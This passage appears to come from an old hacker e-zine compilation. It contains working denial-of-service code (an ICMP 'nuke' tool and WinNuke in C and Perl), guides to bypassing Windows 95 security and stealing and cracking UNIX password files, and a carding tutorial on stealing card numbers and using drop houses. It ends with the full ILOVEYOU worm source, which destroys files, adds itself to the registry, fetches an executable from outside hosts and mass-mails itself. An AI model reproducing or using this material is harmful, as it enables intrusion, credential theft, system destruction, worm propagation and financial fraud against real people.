    name.sin_addr.s_addr = INADDR_ANY;
    name.sin_port = htons(port);

    /* Bind it to the port */
    rc = bind(s, (struct sockaddr *) & name, sizeof(name));
    if (rc == -1) {
      perror("bind");
      return(-1);
    }

    if ((proto = getprotobyname("tcp")) == NULL) {
        fputs("unable to determine protocol number of
\"icmp\n",stderr);
        return(-1);
    }

    /* the following messy stuff from Adam Glass
(icmpsquish.c) */
    bzero(mp,sizeof(struct icmp)+64);
    mp->icmp_type = ICMP_UNREACH;
    mp->icmp_code = type;
    mp->icmp_ip.ip_v = IPVERSION;
    mp->icmp_ip.ip_hl = 5;
    mp->icmp_ip.ip_len = htons(sizeof(struct ip)+64+20);
    mp->icmp_ip.ip_p = IPPROTO_TCP;
    mp->icmp_ip.ip_src = ((struct sockaddr_in *) &dest)-
>sin_addr;
    mp->icmp_ip.ip_dst = ((struct sockaddr_in *) &uspoof)-
>sin_addr;
    mp->icmp_ip.ip_ttl = 179;
    mp->icmp_cksum = 0;
    tp = (struct tcphdr *)   ((char *) &mp-
>icmp_ip+sizeof(struct ip));
    tp->th_sport = 23;
    tp->th_dport = htons(port);
    tp->th_seq = htonl(0x275624F2);
    mp->icmp_cksum = htons(in_cksum(mp,sizeof(struct
icmp)+64));
    if ((i= sendto(s,buf,sizeof(struct icmp)+64,
0,&dest,sizeof(dest))) <0 ) {
        perror("sending icmp packet");
        return(-1);
    }
    return(0);
}

void main(argc,argv)
     int argc;
     char **argv;
{
    int i, type;

    if ((argc <4) || (argc >5)) {
        fprintf(stderr,"usage: nuke host uhost port
[unreach_type]\n");
        exit(1);
    }

    if (argc == 4) type = DEFAULT_UNREACH;
    else type = resolve_unreach_type(argv[4]);

    if ((type <0) ||(type >MAX_ICMP_UNREACH)) {
        fputs("invalid unreachable type",stderr);
        exit(1);
    }
    if (icmp_unreach(argv[1],argv[2],atoi(argv[3]),type)
<0) exit(1);
    exit(0);
}
```

HACKING WINDOZE 95

Introduction

In the corrupt and hostile world we live in, there's a good chance you'll run into a computer running Microsoft Windows 95. There's also a good chance that it will be protected against punks like us. (That was a joke). So far, HackAddict has described ways of defeating virtually any Mac security program, but what happens if some average Mac hacker sits in front of a windoze box? We shall soon see.

Standard Windows Techniques

1). To bring up a nice startup menu that let's you choose between Safe Mode, Command Prompt (That's DOS), Step-by-step confirmation etc., press and hold "F8" as you start the computer. When the Windows 95 splash screen comes up, it will be followed by a menu.

- Safe Mode will start Windows without any "extensions" (Mac term)... meaning it ignores all the control panels and won't load .dll files or anything. This is good (but damned annoying after a while..You'll see.

- Safe Mode with Network Support is a joke. It doesn't work. My theory is that Microsoft threw that in to make it a longer menu. (Ok, so it might work, but I've never been able to figure out how.)

- Command Prompt only will put you in DOS (Way better than being in Windoze, faster too.)

- Step-by-step Confirmation will ask you before activating the commands in the Config.sys and Autoexec.bat files (All the "drivers", "devices" and security programs!)

2). If the administrator is smart, he will disable the "F8" key at startup thing. Don't worry, Good 'ol Microsoft thought of this. If you start Windows and hit "control-alt-delete" (or just reset it) before the splash screen goes away, you'll be put into the Startup menu when it finishes restarting. *** Timing has to be right though. ***

3). If the Internet is what you want, Microsoft has thought of that too. Although some programs may restrict using Internet Explorer, you can get into explorer from Microsoft Word 97, Excel 97, Powerpoint 97, and other programs that have direct links to their web sites. In the MS Office 97/98 suite, I think you choose "Internet Menu" or something from the "Tools" menu. Then click on the Internet Explorer icon.

4). A trickier way of running programs involves MS Visual Basic. (Yet another security attempt foiled by Microsoft... Hey, whose side are they on anyway?) If you know anything about VB, create a new button. For the script, type the following:

```
sub Mouse_Click()

shell “pathname”, 4

end sub
```

The "Subs" are already put there for you. The ", 4" will put your program into a window (The default is minimized). Here is an example:

```
sub Mouse_Click()

shell “c:\program files\internet explorer\iexplore.exe”, 4

end sub
```

* *Note: You have to put the full name and path of the file, even the ".exe".

5). Use a startup disk. Most security programs will let you format disks. Right-click on your disk icon in "My Computer", and choose "Format". A little box will come up with your options. Click "startup disk" and you've got your boot disk. Stick it in and restart.

The BIOS

Every computer has some sort of "BIOS". Even Macs. The BIOS holds all the important information, like where your startup disk is, what kind of computer you have, etc. PC users can edit their BIOS by hitting "f1" or "delete" when their computer is starting. Another way to get into the BIOS is to hit "control-alt-delete" over and over again until it shows up.

Most admins will put a password on the BIOS so you can't screw around in their. If they do, you'll need to get a BIOS password cracker. I don't happen to have one, but they are easy to download off the internet.

Once in the BIOS, you'll get a surprisingly user friendly menu of things to screw around with. Try changing startup drives, hard disk sizes, etc. and the computer will never start again!

Foolproof 95

The Foolproof company should be sued for false advertising. As any MacUser knows, Foolproof for the Mac OS is a joke. Foolproof for Windows 95 is a bigger joke.

One neat way of defeating FoolProof is to do the following:

1) Start up in Command Prompt mode using the "F8" or resetting method.

2) Type the following: (C:\> is the prompt)

```
C:\> rename fp95 fp95_
```

And press enter.

This will rename the Foolproof 95 folder to something it can't understand.

3) Type "win" and press enter to get into Windows.

4) When the "Can't find foolprf.dxx" or whatever message comes up, press any key to continue into windows.

Now Foolproofs is off. You should rename the Fp95_ directory back to fp95. Go into the Foolproof directory, and run "fpwinldr". This will put the little lock in the status bar, making it look like FoolProof is running.

Conclusion

Hope you've enjoyed reading this. This is what, my fifth or sixth article for Hackaddict now? I think I deserve a raise... What do you think, Weasel? :-) Before you venture off and start thrashing PCs, just remember one thing: They can't help being what they are! It's not their fault someone shoved an Intel processor into them. I'm sure there's a Pentium or two out there who would gladly give up their Intelship for a PowerPC... Anyway, that's all I have to say.

Later all,

Fuzebox

UNIX HACKING

UNIX is the most popular computer system on the Internet today. This makes it essential for even Mac hackers to know (or at least be able to bluff) their way through UNIX. You do not need to be a UNIX wizzard to hack a UNIX system, but a little knowledge is required. This text covers everything you will need to know to hack into a UNIX system and steal the "passwd" file.

SECTION 1. UNIX SYSTEMS HACKING

1. A common UNIX login screen looks something like this:

```
UNIX System V Release 4.0  (Genesis)
login:
```

Other UNIX servers include AIX, BSD, System V, and Ultrx. Always try to figure out what kind of machine you are hacking. You will sometimes need to know later on.

2. Hopefully, you already have a nice, juicy account on the server. If so, skip down to step 3. If not, keep reading...

You'll can first try default accounts that the sysadmin might not have deleted. These accounts do not require a password. If they work you should not be prompted for a password. But, if you do get the password prompt, enter the login name for the password as well.

3. If you have your account, you can try to steal the passwd file. The file may be protected in several different ways, but hey, you're a hacker and you are ready to try.

The easiest and most common hack would be to type this at the prompt:

```
(prompt)> cat /etc/passwd
```

NOTE: (prompt)> represents the account prompt. It will be different on your machine. Remember, don't type the prompt with an entry.

NOTE 2: "cat' is short for concatenate. This command is used to display files in standard output

If you get a listing that looks something like this:

```
jdoe:y7di4hght5s34:8541:15:John Doe:/usr/users/jdoe:/usr/bin/jde
           /
         /
Encrypted Password
```

...You are successful! Save the contents of the file and jump down to Section 2.
If you get listings like these...

```
jdoe:x:8541:15:John Doe:/usr/users/jdoe:/usr/bin/jde

jdoe:PASSWORD HERE:8541:15:John Doe:/usr/users/jdoe:/usr/bin/jde

cat: cannot open /etc/passwd
```

...Then you'll need to try something else. The machine is using a different password protection scheme. Keep on reading.

```
yp-Yellow pages/NIS
```

Some UNIX machines use a new(er) system called Yellow Pages or yp. NIS is the current name for the old yp and stands for Network Information System. If the system you are attempting to hack is running NIS you will have a short passwd file that looks something like this:

```
+::0:0:::
```

Type (remember, your prompt will be different) to see the real passwd.

```
(promt)> ypcat passwd
```

AIX
If the computer is a AIX system, the passwd file is soemwhere else. At the prompt type:

```
cat /etc/security/passwd
```

Hopefully, this will display the password file. Save it and proceed to Section 2.

Other Problems
Sometimes the above hacks just don't work...Most often it is because you don't have enough permissions to access the passwd file. In these cases you may try exploiting some REALLY dumb user.

1. Log into the server using whatever account you have and (at your prompt) type:

```
(prompt)> cd ..

(prompt)> ls
```

(That's LS)
This changes the directory up one and allows you to see the other accounts names:

```
auys84     hgree     lynn5     opera
benton     hnor      mitchb    phung
diane      jimf      mouthe    uunde
dike       jimz      narc2     vestis
gyof       kims      nordic    weasel
```

These are all accounts of the UNIX machine you are on. Print the list out and exit the machine. Then try to log on using each account name as login and password. For example...

```
Ultrx v4.3

login:auys84              (Lets try the first one on the list:
auys84)
Password:auys84           (Same as login name. It WILL NOT be
shown as you type it)
Login incorrect           (Not a dumb user...Lets try the next
one)
login:benton
Password:benton          (Again, the password would not be shown)
Last login: Tues Mar 17 5:39:02 from remote server
Sun Microsystems Inc.   SunOS 5.4    Generic July 1999
You have new mail.
Fri Mar 21 6:21:45 CST 1999
/usr/users/benton
bob{benton}/usr/users/benton%
```

This is caused by a REALLY stupid user. Hopefully, you can now access the password file and go to Section 2. If it has no more privileges than the one you already have try trading it in the IRC channel #hack or #2600.

SECTION 2. CRACKING THE "PASSWD" FILE

The entire object to hack a UNIX system is to get an account with which you can do whatever you want with. This requires stealing the "passwd" file. "passwd" is the name of the file in which user account information is stored. The PW file contains the USERNAME, PASSWORD, USER NUMBER, GROUP NUMBER, GECOS INFO, HOME DIRECTORY, and SHELL.

One account in a password file might look like this...

```
User Name        User Number  GECOS Info      Home Directory
     /             \             /               /
    /               \           /               /
jdoe:y7di4hght5s34:8541:15:John Doe:/usr/users/jdoe:/usr/bin/jde
            /           /                                 /
           /           /                                 /
       Password    Group Number                      Shell
```

Most of this should be fairly obvious to except maybe the Password. This IS NOT the password! This is VERY important. This is the encrypted version of the password. When a new user is created on a UNIX system, they supply a password for their account which is then encrypted and stored in the passwd file. When the user signs on to their account they type their password and the UNIX host compares it to the encrypted version. If they match, the user is allowed to sign on. This means any user can view the
encrypted passwd file, but they can't read it because it is encrypted. (BTW, hackers have known the UNIX encryption algorithim for years which makes the next tricks possible)

"It's encrypted so cracking it is impossible, right?" Wrong. You can use a UNIX passwd cracker. Many are out there so find one that works for you. (I prfer MacCrac which is available from my www site. http://www.yatho.com/weasel/)

First the UNIX passwd cracker takes an encrypted password equivalent from an account entry in a UNIX passwd file uses it as a reference. From whatever account entry the encrypted equivalent was pulled, is the particular account the passwd cracker will attempt to crack.
Then the passwd cracker procedes to "guess" the password. This means a single word is pulled from a encrypted Dictionary (encrypted with the UNIX encryption algorithim) and compared with the encrypted word being used as a reference.
If the encrypted word matches the reference word, the "passwd" cracker logs the information, and moves on to the next account.
If the two don't match, the "passwd" cracker uses another word from the Dictionary and goes through the guessing process again. If the cracker goes through the whole Dictionary without finding a match it goes on to the next account.

A fast computer can go through a huge password file overnight and come up with a few logins. These logins are usually real words found in an English dictionary. This should be a lesson to NEVER USE A REAL WORD AS A PASSWORD!

/* WINNUKE.C

```
/* (05/07/97)  By _eci  */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */


#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

#define dport 139  /* Attack port: 139 is what we want */

int x, s;
char *str = "Bye";  /* Makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;


int open_sock(int sock, char *server, int port) {
     struct sockaddr_in blah;
     struct hostent *he;
     bzero((char *)&blah,sizeof(blah));
     blah.sin_family=AF_INET;
     blah.sin_addr.s_addr=inet_addr(server);
     blah.sin_port=htons(port);


    if ((he = gethostbyname(server)) != NULL) {
        bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    }
    else {
         if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
           perror("gethostbyname()");
           return(-3);
         }
    }

        if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
             perror("connect()");
             close(sock);
             return(-4);
        }
        printf("Connected to [%s:%d].\n",server,port);
        return;
}

void main(int argc, char *argv[]) {

     if (argc != 2) {
       printf("Usage: %s <target>\n",argv[0]);
       exit(0);
     }

     if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket()");
        exit(-1);
     }

     open_sock(s,argv[1],dport);


     printf("Sending crash... ");
       send(s,str,strlen(str),MSG_OOB);
       usleep(100000);
     printf("Done! :)\n");
     close(s);
}
```

WINNUKE.PERL VERSION

```
#!/opt/bin/perl
# Ghent - ghent@bounty-hunters.com - Perl version of winnuke.c by _eci
use strict;
use Socket;
my($h,$p,$in_addr,$proto,$addr);
$h = "$ARGV[0]";
$p = 139 if (!$ARGV[1]);
if (!$h) {print "A hostname must be provided. Ex: www.microsoft.com\n";}
$in_addr = (gethostbyname($h))[4];
$addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
#print "in_addr $in_addr addr $addr proto $proto\n";
socket(S, AF_INET, SOCK_STREAM, $proto) || die $!;
connect(S,$addr) or die $!;
select S;
$| = 1;
select STDOUT;
print "Nuking: $h:$p\n";
send S,"Sucker",MSG_OOB;
print "Nuked!\n";
close S;
```

CREDIT CARDING

INTRODUCTION:
This is an attempt to tutor individuals lacking in the knowledge of how to get items from stores without actually paying for them and not having to show up in person. Instead, charge them to someone elses credit card (also known as 'CC') account. This process is known as 'credit carding' or just 'carding' amongst people in that field of acquiring goods.

STEP I:

ACQUIRING CREDIT CARD INFORMATION:
The first and foremost thing to do is acquire CC information. The things that are necessary are: name of the card holder, expiration date, account number, and the CC type. (that is: Visa, American Express, MasterCard, etc.)

WHAT TO LOOK FOR:
In order to get these important bits of information, you would have to know where to look. The cards themselves have all of this information right on them. However, an easier and better place to find these things is on the carbons that stores use to put the info. on the different sheets to give to The CC company, themselves or their bookkeeper, and 3:the customer himself. On these carbons, it should be pretty obvious as to which is which.

HOW-TO GET CARBONS:
The best way to get the carbons is by rooting through the trash cans (or dumpster(s)) of a store. This process is known as 'trashing'. The bsh depends on the time of the year in which you are looking for the carbons. For instance, during the Christmas season: toy stores, during major season (temperature) changes: clothing stores, etc. Basically, go wherever there is the largest buying attraction during that period of time. Whenever, there is no major buying attraction, try independant clothing stores or department stores.

TRASHING CLOTHES:
I suggest that you wear some really grubby, old, etc. clothing when you go trashing, because you never know what some of these stores are gonna throw away. If you are kinda sqeemish, wear rubber gloves and those pant covers that farmers use, I am not shure what they are called, but they're made of rubber and will keep the nasties away from you when you go trashing.

CARBONS:
After you have gotten a considerable number (30 - 500) of carbons, you need to identify the proper parts of the carbon. The important parts of the carbon will look like Diagram 1 does.

```
                      D i a g r a m   1
+--------------------------------------------------------------+
|  Account Number  exp date(1)                                 |
|  exp date(2)     exp date(3)                                 |
|  Card holder's name                                          |
|                                                              |
|                                                              |
|                                                              |
|                                                              |
|                                                              |
+--------------------------------------------------------------+
```

CARD HOLDER'S NAME: (SEE DIAG. 1)
The card holder's name should be quite clear on all carbons that you find in the same place as on diagram one. If it is not there, it should be easy to distinguish from any other information on the carbon.

EXP. DATES: (SEE DIAG. 1)
The expiration dates can be in two forms. The forms are thus: XX/XX THRU XX/XX which would be found on exp date(2) and is used on American Express cards, and XX-XX which is found in either exp date(1) or exp date(3) aVISA or MasterCard.

ACCOUNT NUMBER: (SEE DIAG. 1)
Account numbers are generally found in the top, left-hand corner of the carbon. They can be found in other places, but that is the most common.

CARD TYPE:
The formats of account numbers are quite varied between CC companies. Diagram 2 shows which major card types use which formats. You can use diagram two, or a reasonable facsimile, for identification of CC types on your carbons. If the number is not of any of these formats, discard that carbon, for it'd not be of a majorly accepted gender.

Diagram 2

CC type	Format of the act. #
American Express	XXXX XXXXXX XXXXX
MasterCard	XXXX XXXX XXXX XXXX
Revolv-a-charge	NXXN XXXX NXXXXX X
Visa	XXXX XXX XXX XXX

X represents a number
N represents a letter

STEP II:3

THE DROP SPOT:
Before you order your merchandise, you must figure out a place to send the merchandise. You do ** NOT ** want the store from which you shop, the card holder, or the CC company to know where you really live.

QUALIFICATIONS:
In order for a house to qualify as an inconspicuous drop spot, it must meet several requirements. It must look like a place where people could really live and be getting things sent through UPS to them. It must be a place that the owners will not 'visit' too regularly. It may have a 'FOR SALE' sign in front of it, but it is better if it doesn't. And most important of all, it must be a place that you can check up on often. Make sure you WRITE DOWN the address in a place where you will NOT forget it and where it will be readily accessible when you are ordering merchandise. (SEE STEP III)

STEP III:

ORDERING MERCHANDISE:
If you have a catalog or something that you ar then follow the directions given in the book for making phone orders. Make sure the address given is the drop spot's address, and NOT yours. If your voice doesn't sound mature enough to be an adults, the order-taker might be suspicious. There are two ways to solve this. The first is to tell the order taker that you are doing this for your parents 'cause they are too busy to order it, so they made you do it. This is risky. The second and better one is to have someone else order it (WHILE YOU WATCH HIM/HER!) for you. The person that does this should be VERY trustworthy. Be sure to know the expected time of delivery. (SEE STEP IV)

STEP IV:

THE PICK-UP:
You should leave a little note inside the front door or hanging in some place that even the dumbest UPS driver could see. This note should be typed or printed and give directions as to where to leave the package(s). Things like the back porch or under a tarpaulin or in a box on the front porch usually work best. And say something to the effect of each family member working and thatht schedule and anything other than leaving it where mentioned would be very inconvenient for you. You then approach the building every other night starting the day after the expected delivery to get your 'present'.

ALL OF THE INFORMATION IN THIS TUTORIAL IS ONLY FOR YOUR PERSONAL KNOWLEDGE.
IF YOU USE ANY OF THIS INFORMATION IN THE PROCESS OF CARDING, THE
CONSEQUENCES ARE YOURS AND YOURS ALONE TO PAY.

I LOVE YOU (VIRUS CODE)

```
filename="LOVE-LETTER-FOR-YOU.TXT.vbs"

rem  barok -loveletter(vbe) <i hate go to school>
rem by: spyder  / = ispyder@mail.com  /  @GRAMMERSoft
Group  /
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsof
t\Windows Scripting
Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
ntVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"

regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
ntVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"

downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsof
t\Internet Explorer\Download
Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet
Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkx
cvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-
BUGSFIX.exe"

elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet
Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjg
hKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjh
kqj4w/WIN-BUGSFIX.exe"

elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet
Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGq
aq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"

elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet
Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmn
fgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqw
ebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"

end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
ntVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"

regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start
Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or
(ext="wsh") or (ext="sct") or
(ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini")
or (s="script.ini") or
(s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine ";  Please dont edit this script...
mIRC will corrupt, if
mIRC will"
scriptini.WriteLine "      corrupt... WINDOWS will
affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt
}"
scriptini.WriteLine "n2=   /.dcc send $nick
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"

scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Mic
rosoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Mi
crosoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER
coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-
YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1
,"REG_DWORD"

end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addr
essEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addr
essEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META
NAME=@-@Generator@-@
CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-?
ispyder@mail.com ?-? @GRAMMERSoft
Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf&
_
"<META NAME=@-@Description@-@ CONTENT=@-@simple but
i think this is
good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY
ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-
#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@
"&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-
#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@
BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf&
_
"<CENTER><p>This HTML file need ActiveX Control<?-
?p><p>To Enable to read this
HTML file<BR>- Please press #-#YES#-# button to Enable
ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@>----------z-------------------
z----------<?-?MARQUEE>
"&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var
hi=screen.availHeight;window.moveTo(0,0);window.resi
zeTo(wi,hi);}"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim
fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&
vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-
@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))
"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34)
)"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92)
)"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-
^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-
@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-
@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf&
_
"regedit.RegWrite
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-
^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-
@^-^MSKernel32.vbs@-@"&vbcrlf&
_
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-
YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-
YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub
```